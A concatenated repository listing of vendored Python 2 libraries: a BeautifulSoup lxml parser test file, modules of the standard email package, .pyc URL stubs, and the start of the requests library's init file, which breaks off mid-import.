/includes/scripts/libs/bs4/tests/test_lxml.py: -------------------------------------------------------------------------------- 1 | """Tests to ensure that the lxml tree builder generates good trees.""" 2 | 3 | import re 4 | import warnings 5 | 6 | try: 7 | import lxml.etree 8 | LXML_PRESENT = True 9 | LXML_VERSION = lxml.etree.LXML_VERSION 10 | except ImportError, e: 11 | LXML_PRESENT = False 12 | LXML_VERSION = (0,) 13 | 14 | if LXML_PRESENT: 15 | from bs4.builder import LXMLTreeBuilder, LXMLTreeBuilderForXML 16 | 17 | from bs4 import ( 18 | BeautifulSoup, 19 | BeautifulStoneSoup, 20 | ) 21 | from bs4.element import Comment, Doctype, SoupStrainer 22 | from bs4.testing import skipIf 23 | from bs4.tests import test_htmlparser 24 | from bs4.testing import ( 25 | HTMLTreeBuilderSmokeTest, 26 | XMLTreeBuilderSmokeTest, 27 | SoupTest, 28 | skipIf, 29 | ) 30 | 31 | @skipIf( 32 | not LXML_PRESENT, 33 | "lxml seems not to be present, not testing its tree builder.") 34 | class LXMLTreeBuilderSmokeTest(SoupTest, HTMLTreeBuilderSmokeTest): 35 | """See ``HTMLTreeBuilderSmokeTest``.""" 36 | 37 | @property 38 | def default_builder(self): 39 | return LXMLTreeBuilder() 40 | 41 | def test_out_of_range_entity(self): 42 | self.assertSoupEquals( 43 | "

foo�bar

", "

foobar

") 44 | self.assertSoupEquals( 45 | "

foo�bar

", "

foobar

") 46 | self.assertSoupEquals( 47 | "

foo�bar

", "

foobar

") 48 | 49 | # In lxml < 2.3.5, an empty doctype causes a segfault. Skip this 50 | # test if an old version of lxml is installed. 51 | 52 | @skipIf( 53 | not LXML_PRESENT or LXML_VERSION < (2,3,5,0), 54 | "Skipping doctype test for old version of lxml to avoid segfault.") 55 | def test_empty_doctype(self): 56 | soup = self.soup("") 57 | doctype = soup.contents[0] 58 | self.assertEqual("", doctype.strip()) 59 | 60 | def test_beautifulstonesoup_is_xml_parser(self): 61 | # Make sure that the deprecated BSS class uses an xml builder 62 | # if one is installed. 63 | with warnings.catch_warnings(record=True) as w: 64 | soup = BeautifulStoneSoup("") 65 | self.assertEqual(u"", unicode(soup.b)) 66 | self.assertTrue("BeautifulStoneSoup class is deprecated" in str(w[0].message)) 67 | 68 | @skipIf( 69 | not LXML_PRESENT, 70 | "lxml seems not to be present, not testing its XML tree builder.") 71 | class LXMLXMLTreeBuilderSmokeTest(SoupTest, XMLTreeBuilderSmokeTest): 72 | """See ``HTMLTreeBuilderSmokeTest``.""" 73 | 74 | @property 75 | def default_builder(self): 76 | return LXMLTreeBuilderForXML() 77 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """A package for parsing, handling, and generating email messages.""" 6 | 7 | __version__ = '4.0.3' 8 | 9 | __all__ = [ 10 | # Old names 11 | 'base64MIME', 12 | 'Charset', 13 | 'Encoders', 14 | 'Errors', 15 | 'Generator', 16 | 'Header', 17 | 'Iterators', 18 | 'Message', 19 | 'MIMEAudio', 20 | 'MIMEBase', 21 | 'MIMEImage', 22 | 'MIMEMessage', 23 | 'MIMEMultipart', 24 | 'MIMENonMultipart', 25 | 'MIMEText', 26 | 'Parser', 27 | 'quopriMIME', 28 | 'Utils', 29 | 'message_from_string', 30 | 'message_from_file', 31 | # new names 32 | 'base64mime', 33 | 'charset', 34 | 'encoders', 35 | 'errors', 36 | 'generator', 37 | 'header', 38 | 'iterators', 39 | 'message', 40 | 'mime', 41 | 'parser', 42 | 'quoprimime', 43 | 'utils', 44 | ] 45 | 46 | 47 | 48 | # Some convenience routines. Don't import Parser and Message as side-effects 49 | # of importing email since those cascadingly import most of the rest of the 50 | # email package. 51 | def message_from_string(s, *args, **kws): 52 | """Parse a string into a Message object model. 53 | 54 | Optional _class and strict are passed to the Parser constructor. 55 | """ 56 | from email.parser import Parser 57 | return Parser(*args, **kws).parsestr(s) 58 | 59 | 60 | def message_from_file(fp, *args, **kws): 61 | """Read a file and parse its contents into a Message object model. 62 | 63 | Optional _class and strict are passed to the Parser constructor. 64 | """ 65 | from email.parser import Parser 66 | return Parser(*args, **kws).parse(fp) 67 | 68 | 69 | 70 | # Lazy loading to provide name mapping from new-style names (PEP 8 compatible 71 | # email 4.0 module names), to old-style names (email 3.0 module names). 72 | import sys 73 | 74 | class LazyImporter(object): 75 | def __init__(self, module_name): 76 | self.__name__ = 'email.' + module_name 77 | 78 | def __getattr__(self, name): 79 | __import__(self.__name__) 80 | mod = sys.modules[self.__name__] 81 | self.__dict__.update(mod.__dict__) 82 | return getattr(mod, name) 83 | 84 | 85 | _LOWERNAMES = [ 86 | # email. -> email. 87 | 'Charset', 88 | 'Encoders', 89 | 'Errors', 90 | 'FeedParser', 91 | 'Generator', 92 | 'Header', 93 | 'Iterators', 94 | 'Message', 95 | 'Parser', 96 | 'Utils', 97 | 'base64MIME', 98 | 'quopriMIME', 99 | ] 100 | 101 | _MIMENAMES = [ 102 | # email.MIME -> email.mime. 103 | 'Audio', 104 | 'Base', 105 | 'Image', 106 | 'Message', 107 | 'Multipart', 108 | 'NonMultipart', 109 | 'Text', 110 | ] 111 | 112 | for _name in _LOWERNAMES: 113 | importer = LazyImporter(_name.lower()) 114 | sys.modules['email.' + _name] = importer 115 | setattr(sys.modules['email'], _name, importer) 116 | 117 | 118 | import email.mime 119 | for _name in _MIMENAMES: 120 | importer = LazyImporter('mime.' + _name.lower()) 121 | sys.modules['email.MIME' + _name] = importer 122 | setattr(sys.modules['email'], 'MIME' + _name, importer) 123 | setattr(sys.modules['email.mime'], _name, importer) 124 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/_parseaddr.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/_parseaddr.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/base64mime.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/base64mime.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/charset.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/charset.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/encoders.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Encodings and related functions.""" 6 | 7 | __all__ = [ 8 | 'encode_7or8bit', 9 | 'encode_base64', 10 | 'encode_noop', 11 | 'encode_quopri', 12 | ] 13 | 14 | import base64 15 | 16 | from quopri import encodestring as _encodestring 17 | 18 | 19 | 20 | def _qencode(s): 21 | enc = _encodestring(s, quotetabs=True) 22 | # Must encode spaces, which quopri.encodestring() doesn't do 23 | return enc.replace(' ', '=20') 24 | 25 | 26 | def _bencode(s): 27 | # We can't quite use base64.encodestring() since it tacks on a "courtesy 28 | # newline". Blech! 29 | if not s: 30 | return s 31 | hasnewline = (s[-1] == '\n') 32 | value = base64.encodestring(s) 33 | if not hasnewline and value[-1] == '\n': 34 | return value[:-1] 35 | return value 36 | 37 | 38 | 39 | def encode_base64(msg): 40 | """Encode the message's payload in Base64. 41 | 42 | Also, add an appropriate Content-Transfer-Encoding header. 43 | """ 44 | orig = msg.get_payload() 45 | encdata = _bencode(orig) 46 | msg.set_payload(encdata) 47 | msg['Content-Transfer-Encoding'] = 'base64' 48 | 49 | 50 | 51 | def encode_quopri(msg): 52 | """Encode the message's payload in quoted-printable. 53 | 54 | Also, add an appropriate Content-Transfer-Encoding header. 55 | """ 56 | orig = msg.get_payload() 57 | encdata = _qencode(orig) 58 | msg.set_payload(encdata) 59 | msg['Content-Transfer-Encoding'] = 'quoted-printable' 60 | 61 | 62 | 63 | def encode_7or8bit(msg): 64 | """Set the Content-Transfer-Encoding header to 7bit or 8bit.""" 65 | orig = msg.get_payload() 66 | if orig is None: 67 | # There's no payload. For backwards compatibility we use 7bit 68 | msg['Content-Transfer-Encoding'] = '7bit' 69 | return 70 | # We play a trick to make this go fast. If encoding to ASCII succeeds, we 71 | # know the data must be 7bit, otherwise treat it as 8bit. 72 | try: 73 | orig.encode('ascii') 74 | except UnicodeError: 75 | msg['Content-Transfer-Encoding'] = '8bit' 76 | else: 77 | msg['Content-Transfer-Encoding'] = '7bit' 78 | 79 | 80 | 81 | def encode_noop(msg): 82 | """Do nothing.""" 83 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/encoders.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/encoders.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/errors.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """email package exception classes.""" 6 | 7 | 8 | 9 | class MessageError(Exception): 10 | """Base class for errors in the email package.""" 11 | 12 | 13 | class MessageParseError(MessageError): 14 | """Base class for message parsing errors.""" 15 | 16 | 17 | class HeaderParseError(MessageParseError): 18 | """Error while parsing headers.""" 19 | 20 | 21 | class BoundaryError(MessageParseError): 22 | """Couldn't find terminating boundary.""" 23 | 24 | 25 | class MultipartConversionError(MessageError, TypeError): 26 | """Conversion to a multipart is prohibited.""" 27 | 28 | 29 | class CharsetError(MessageError): 30 | """An illegal charset was given.""" 31 | 32 | 33 | 34 | # These are parsing defects which the parser was able to work around. 35 | class MessageDefect: 36 | """Base class for a message defect.""" 37 | 38 | def __init__(self, line=None): 39 | self.line = line 40 | 41 | class NoBoundaryInMultipartDefect(MessageDefect): 42 | """A message claimed to be a multipart but had no boundary parameter.""" 43 | 44 | class StartBoundaryNotFoundDefect(MessageDefect): 45 | """The claimed start boundary was never found.""" 46 | 47 | class FirstHeaderLineIsContinuationDefect(MessageDefect): 48 | """A message had a continuation line as its first header line.""" 49 | 50 | class MisplacedEnvelopeHeaderDefect(MessageDefect): 51 | """A 'Unix-from' header was found in the middle of a header block.""" 52 | 53 | class MalformedHeaderDefect(MessageDefect): 54 | """Found a header that was missing a colon, or was otherwise malformed.""" 55 | 56 | class MultipartInvariantViolationDefect(MessageDefect): 57 | """A message claimed to be a multipart but no subparts were found.""" 58 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/errors.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/errors.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/feedparser.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/feedparser.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/iterators.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Various types of useful iterators and generators.""" 6 | 7 | __all__ = [ 8 | 'body_line_iterator', 9 | 'typed_subpart_iterator', 10 | 'walk', 11 | # Do not include _structure() since it's part of the debugging API. 12 | ] 13 | 14 | import sys 15 | from cStringIO import StringIO 16 | 17 | 18 | 19 | # This function will become a method of the Message class 20 | def walk(self): 21 | """Walk over the message tree, yielding each subpart. 22 | 23 | The walk is performed in depth-first order. This method is a 24 | generator. 25 | """ 26 | yield self 27 | if self.is_multipart(): 28 | for subpart in self.get_payload(): 29 | for subsubpart in subpart.walk(): 30 | yield subsubpart 31 | 32 | 33 | 34 | # These two functions are imported into the Iterators.py interface module. 35 | def body_line_iterator(msg, decode=False): 36 | """Iterate over the parts, returning string payloads line-by-line. 37 | 38 | Optional decode (default False) is passed through to .get_payload(). 39 | """ 40 | for subpart in msg.walk(): 41 | payload = subpart.get_payload(decode=decode) 42 | if isinstance(payload, basestring): 43 | for line in StringIO(payload): 44 | yield line 45 | 46 | 47 | def typed_subpart_iterator(msg, maintype='text', subtype=None): 48 | """Iterate over the subparts with a given MIME type. 49 | 50 | Use `maintype' as the main MIME type to match against; this defaults to 51 | "text". Optional `subtype' is the MIME subtype to match against; if 52 | omitted, only the main type is matched. 53 | """ 54 | for subpart in msg.walk(): 55 | if subpart.get_content_maintype() == maintype: 56 | if subtype is None or subpart.get_content_subtype() == subtype: 57 | yield subpart 58 | 59 | 60 | 61 | def _structure(msg, fp=None, level=0, include_default=False): 62 | """A handy debugging aid""" 63 | if fp is None: 64 | fp = sys.stdout 65 | tab = ' ' * (level * 4) 66 | print >> fp, tab + msg.get_content_type(), 67 | if include_default: 68 | print >> fp, '[%s]' % msg.get_default_type() 69 | else: 70 | print >> fp 71 | if msg.is_multipart(): 72 | for subpart in msg.get_payload(): 73 | _structure(subpart, fp, level+1, include_default) 74 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/iterators.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/iterators.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/message.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/message.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/mime/__init__.py -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/mime/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/application.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Keith Dart 3 | # Contact: email-sig@python.org 4 | 5 | """Class representing application/* type MIME documents.""" 6 | 7 | __all__ = ["MIMEApplication"] 8 | 9 | from email import encoders 10 | from email.mime.nonmultipart import MIMENonMultipart 11 | 12 | 13 | class MIMEApplication(MIMENonMultipart): 14 | """Class for generating application/* MIME documents.""" 15 | 16 | def __init__(self, _data, _subtype='octet-stream', 17 | _encoder=encoders.encode_base64, **_params): 18 | """Create an application/* type MIME document. 19 | 20 | _data is a string containing the raw application data. 21 | 22 | _subtype is the MIME content type subtype, defaulting to 23 | 'octet-stream'. 24 | 25 | _encoder is a function which will perform the actual encoding for 26 | transport of the application data, defaulting to base64 encoding. 27 | 28 | Any additional keyword arguments are passed to the base class 29 | constructor, which turns them into parameters on the Content-Type 30 | header. 31 | """ 32 | if _subtype is None: 33 | raise TypeError('Invalid application MIME subtype') 34 | MIMENonMultipart.__init__(self, 'application', _subtype, **_params) 35 | self.set_payload(_data) 36 | _encoder(self) 37 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/audio.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Anthony Baxter 3 | # Contact: email-sig@python.org 4 | 5 | """Class representing audio/* type MIME documents.""" 6 | 7 | __all__ = ['MIMEAudio'] 8 | 9 | import sndhdr 10 | 11 | from cStringIO import StringIO 12 | from email import encoders 13 | from email.mime.nonmultipart import MIMENonMultipart 14 | 15 | 16 | 17 | _sndhdr_MIMEmap = {'au' : 'basic', 18 | 'wav' :'x-wav', 19 | 'aiff':'x-aiff', 20 | 'aifc':'x-aiff', 21 | } 22 | 23 | # There are others in sndhdr that don't have MIME types. :( 24 | # Additional ones to be added to sndhdr? midi, mp3, realaudio, wma?? 25 | def _whatsnd(data): 26 | """Try to identify a sound file type. 27 | 28 | sndhdr.what() has a pretty cruddy interface, unfortunately. This is why 29 | we re-do it here. It would be easier to reverse engineer the Unix 'file' 30 | command and use the standard 'magic' file, as shipped with a modern Unix. 31 | """ 32 | hdr = data[:512] 33 | fakefile = StringIO(hdr) 34 | for testfn in sndhdr.tests: 35 | res = testfn(hdr, fakefile) 36 | if res is not None: 37 | return _sndhdr_MIMEmap.get(res[0]) 38 | return None 39 | 40 | 41 | 42 | class MIMEAudio(MIMENonMultipart): 43 | """Class for generating audio/* MIME documents.""" 44 | 45 | def __init__(self, _audiodata, _subtype=None, 46 | _encoder=encoders.encode_base64, **_params): 47 | """Create an audio/* type MIME document. 48 | 49 | _audiodata is a string containing the raw audio data. If this data 50 | can be decoded by the standard Python `sndhdr' module, then the 51 | subtype will be automatically included in the Content-Type header. 52 | Otherwise, you can specify the specific audio subtype via the 53 | _subtype parameter. If _subtype is not given, and no subtype can be 54 | guessed, a TypeError is raised. 55 | 56 | _encoder is a function which will perform the actual encoding for 57 | transport of the image data. It takes one argument, which is this 58 | Image instance. It should use get_payload() and set_payload() to 59 | change the payload to the encoded form. It should also add any 60 | Content-Transfer-Encoding or other headers to the message as 61 | necessary. The default encoding is Base64. 62 | 63 | Any additional keyword arguments are passed to the base class 64 | constructor, which turns them into parameters on the Content-Type 65 | header. 66 | """ 67 | if _subtype is None: 68 | _subtype = _whatsnd(_audiodata) 69 | if _subtype is None: 70 | raise TypeError('Could not find audio MIME subtype') 71 | MIMENonMultipart.__init__(self, 'audio', _subtype, **_params) 72 | self.set_payload(_audiodata) 73 | _encoder(self) 74 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/base.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Base class for MIME specializations.""" 6 | 7 | __all__ = ['MIMEBase'] 8 | 9 | from email import message 10 | 11 | 12 | 13 | class MIMEBase(message.Message): 14 | """Base class for MIME specializations.""" 15 | 16 | def __init__(self, _maintype, _subtype, **_params): 17 | """This constructor adds a Content-Type: and a MIME-Version: header. 18 | 19 | The Content-Type: header is taken from the _maintype and _subtype 20 | arguments. Additional parameters for this header are taken from the 21 | keyword arguments. 22 | """ 23 | message.Message.__init__(self) 24 | ctype = '%s/%s' % (_maintype, _subtype) 25 | self.add_header('Content-Type', ctype, **_params) 26 | self['MIME-Version'] = '1.0' 27 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/image.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Class representing image/* type MIME documents.""" 6 | 7 | __all__ = ['MIMEImage'] 8 | 9 | import imghdr 10 | 11 | from email import encoders 12 | from email.mime.nonmultipart import MIMENonMultipart 13 | 14 | 15 | 16 | class MIMEImage(MIMENonMultipart): 17 | """Class for generating image/* type MIME documents.""" 18 | 19 | def __init__(self, _imagedata, _subtype=None, 20 | _encoder=encoders.encode_base64, **_params): 21 | """Create an image/* type MIME document. 22 | 23 | _imagedata is a string containing the raw image data. If this data 24 | can be decoded by the standard Python `imghdr' module, then the 25 | subtype will be automatically included in the Content-Type header. 26 | Otherwise, you can specify the specific image subtype via the _subtype 27 | parameter. 28 | 29 | _encoder is a function which will perform the actual encoding for 30 | transport of the image data. It takes one argument, which is this 31 | Image instance. It should use get_payload() and set_payload() to 32 | change the payload to the encoded form. It should also add any 33 | Content-Transfer-Encoding or other headers to the message as 34 | necessary. The default encoding is Base64. 35 | 36 | Any additional keyword arguments are passed to the base class 37 | constructor, which turns them into parameters on the Content-Type 38 | header. 39 | """ 40 | if _subtype is None: 41 | _subtype = imghdr.what(None, _imagedata) 42 | if _subtype is None: 43 | raise TypeError('Could not guess image MIME subtype') 44 | MIMENonMultipart.__init__(self, 'image', _subtype, **_params) 45 | self.set_payload(_imagedata) 46 | _encoder(self) 47 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/message.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Class representing message/* MIME documents.""" 6 | 7 | __all__ = ['MIMEMessage'] 8 | 9 | from email import message 10 | from email.mime.nonmultipart import MIMENonMultipart 11 | 12 | 13 | 14 | class MIMEMessage(MIMENonMultipart): 15 | """Class representing message/* MIME documents.""" 16 | 17 | def __init__(self, _msg, _subtype='rfc822'): 18 | """Create a message/* type MIME document. 19 | 20 | _msg is a message object and must be an instance of Message, or a 21 | derived class of Message, otherwise a TypeError is raised. 22 | 23 | Optional _subtype defines the subtype of the contained message. The 24 | default is "rfc822" (this is defined by the MIME standard, even though 25 | the term "rfc822" is technically outdated by RFC 2822). 26 | """ 27 | MIMENonMultipart.__init__(self, 'message', _subtype) 28 | if not isinstance(_msg, message.Message): 29 | raise TypeError('Argument is not an instance of Message') 30 | # It's convenient to use this base class method. We need to do it 31 | # this way or we'll get an exception 32 | message.Message.attach(self, _msg) 33 | # And be sure our default type is set correctly 34 | self.set_default_type('message/rfc822') 35 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/multipart.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2002-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Base class for MIME multipart/* type messages.""" 6 | 7 | __all__ = ['MIMEMultipart'] 8 | 9 | from email.mime.base import MIMEBase 10 | 11 | 12 | 13 | class MIMEMultipart(MIMEBase): 14 | """Base class for MIME multipart/* type messages.""" 15 | 16 | def __init__(self, _subtype='mixed', boundary=None, _subparts=None, 17 | **_params): 18 | """Creates a multipart/* type message. 19 | 20 | By default, creates a multipart/mixed message, with proper 21 | Content-Type and MIME-Version headers. 22 | 23 | _subtype is the subtype of the multipart content type, defaulting to 24 | `mixed'. 25 | 26 | boundary is the multipart boundary string. By default it is 27 | calculated as needed. 28 | 29 | _subparts is a sequence of initial subparts for the payload. It 30 | must be an iterable object, such as a list. You can always 31 | attach new subparts to the message by using the attach() method. 32 | 33 | Additional parameters for the Content-Type header are taken from the 34 | keyword arguments (or passed into the _params argument). 35 | """ 36 | MIMEBase.__init__(self, 'multipart', _subtype, **_params) 37 | 38 | # Initialise _payload to an empty list as the Message superclass's 39 | # implementation of is_multipart assumes that _payload is a list for 40 | # multipart messages. 41 | self._payload = [] 42 | 43 | if _subparts: 44 | for p in _subparts: 45 | self.attach(p) 46 | if boundary: 47 | self.set_boundary(boundary) 48 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/nonmultipart.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2002-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Base class for MIME type messages that are not multipart.""" 6 | 7 | __all__ = ['MIMENonMultipart'] 8 | 9 | from email import errors 10 | from email.mime.base import MIMEBase 11 | 12 | 13 | 14 | class MIMENonMultipart(MIMEBase): 15 | """Base class for MIME multipart/* type messages.""" 16 | 17 | def attach(self, payload): 18 | # The public API prohibits attaching multiple subparts to MIMEBase 19 | # derived subtypes since none of them are, by definition, of content 20 | # type multipart/* 21 | raise errors.MultipartConversionError( 22 | 'Cannot attach additional subparts to non-multipart/*') 23 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/mime/text.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw 3 | # Contact: email-sig@python.org 4 | 5 | """Class representing text/* type MIME documents.""" 6 | 7 | __all__ = ['MIMEText'] 8 | 9 | from email.encoders import encode_7or8bit 10 | from email.mime.nonmultipart import MIMENonMultipart 11 | 12 | 13 | 14 | class MIMEText(MIMENonMultipart): 15 | """Class for generating text/* type MIME documents.""" 16 | 17 | def __init__(self, _text, _subtype='plain', _charset='us-ascii'): 18 | """Create a text/* type MIME document. 19 | 20 | _text is the string for this message object. 21 | 22 | _subtype is the MIME sub content type, defaulting to "plain". 23 | 24 | _charset is the character set parameter added to the Content-Type 25 | header. This defaults to "us-ascii". Note that as a side-effect, the 26 | Content-Transfer-Encoding header will also be set. 27 | """ 28 | MIMENonMultipart.__init__(self, 'text', _subtype, 29 | **{'charset': _charset}) 30 | self.set_payload(_text, _charset) 31 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/parser.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2001-2006 Python Software Foundation 2 | # Author: Barry Warsaw, Thomas Wouters, Anthony Baxter 3 | # Contact: email-sig@python.org 4 | 5 | """A parser of RFC 2822 and MIME email messages.""" 6 | 7 | __all__ = ['Parser', 'HeaderParser'] 8 | 9 | import warnings 10 | from cStringIO import StringIO 11 | 12 | from email.feedparser import FeedParser 13 | from email.message import Message 14 | 15 | 16 | 17 | class Parser: 18 | def __init__(self, *args, **kws): 19 | """Parser of RFC 2822 and MIME email messages. 20 | 21 | Creates an in-memory object tree representing the email message, which 22 | can then be manipulated and turned over to a Generator to return the 23 | textual representation of the message. 24 | 25 | The string must be formatted as a block of RFC 2822 headers and header 26 | continuation lines, optionally preceeded by a `Unix-from' header. The 27 | header block is terminated either by the end of the string or by a 28 | blank line. 29 | 30 | _class is the class to instantiate for new message objects when they 31 | must be created. This class must have a constructor that can take 32 | zero arguments. Default is Message.Message. 33 | """ 34 | if len(args) >= 1: 35 | if '_class' in kws: 36 | raise TypeError("Multiple values for keyword arg '_class'") 37 | kws['_class'] = args[0] 38 | if len(args) == 2: 39 | if 'strict' in kws: 40 | raise TypeError("Multiple values for keyword arg 'strict'") 41 | kws['strict'] = args[1] 42 | if len(args) > 2: 43 | raise TypeError('Too many arguments') 44 | if '_class' in kws: 45 | self._class = kws['_class'] 46 | del kws['_class'] 47 | else: 48 | self._class = Message 49 | if 'strict' in kws: 50 | warnings.warn("'strict' argument is deprecated (and ignored)", 51 | DeprecationWarning, 2) 52 | del kws['strict'] 53 | if kws: 54 | raise TypeError('Unexpected keyword arguments') 55 | 56 | def parse(self, fp, headersonly=False): 57 | """Create a message structure from the data in a file. 58 | 59 | Reads all the data from the file and returns the root of the message 60 | structure. Optional headersonly is a flag specifying whether to stop 61 | parsing after reading the headers or not. The default is False, 62 | meaning it parses the entire contents of the file. 63 | """ 64 | feedparser = FeedParser(self._class) 65 | if headersonly: 66 | feedparser._set_headersonly() 67 | while True: 68 | data = fp.read(8192) 69 | if not data: 70 | break 71 | feedparser.feed(data) 72 | return feedparser.close() 73 | 74 | def parsestr(self, text, headersonly=False): 75 | """Create a message structure from a string. 76 | 77 | Returns the root of the message structure. Optional headersonly is a 78 | flag specifying whether to stop parsing after reading the headers or 79 | not. The default is False, meaning it parses the entire contents of 80 | the file. 81 | """ 82 | return self.parse(StringIO(text), headersonly=headersonly) 83 | 84 | 85 | 86 | class HeaderParser(Parser): 87 | def parse(self, fp, headersonly=True): 88 | return Parser.parse(self, fp, True) 89 | 90 | def parsestr(self, text, headersonly=True): 91 | return Parser.parsestr(self, text, True) 92 | -------------------------------------------------------------------------------- /includes/scripts/libs/email/parser.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/parser.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/quoprimime.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/quoprimime.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/email/utils.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/email/utils.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # __ 4 | # /__) _ _ _ _ _/ _ 5 | # / ( (- (/ (/ (- _) / _) 6 | # / 7 | 8 | """ 9 | requests HTTP library 10 | ~~~~~~~~~~~~~~~~~~~~~ 11 | 12 | Requests is an HTTP library, written in Python, for human beings. Basic GET 13 | usage: 14 | 15 | >>> import requests 16 | >>> r = requests.get('https://www.python.org') 17 | >>> r.status_code 18 | 200 19 | >>> 'Python is a programming language' in r.content 20 | True 21 | 22 | ... or POST: 23 | 24 | >>> payload = dict(key1='value1', key2='value2') 25 | >>> r = requests.post('http://httpbin.org/post', data=payload) 26 | >>> print(r.text) 27 | { 28 | ... 29 | "form": { 30 | "key2": "value2", 31 | "key1": "value1" 32 | }, 33 | ... 34 | } 35 | 36 | The other HTTP methods are supported - see `requests.api`. Full documentation 37 | is at . 38 | 39 | :copyright: (c) 2015 by Kenneth Reitz. 40 | :license: Apache 2.0, see LICENSE for more details. 41 | 42 | """ 43 | 44 | __title__ = 'requests' 45 | __version__ = '2.5.1' 46 | __build__ = 0x020501 47 | __author__ = 'Kenneth Reitz' 48 | __license__ = 'Apache 2.0' 49 | __copyright__ = 'Copyright 2015 Kenneth Reitz' 50 | 51 | # Attempt to enable urllib3's SNI support, if possible 52 | try: 53 | from 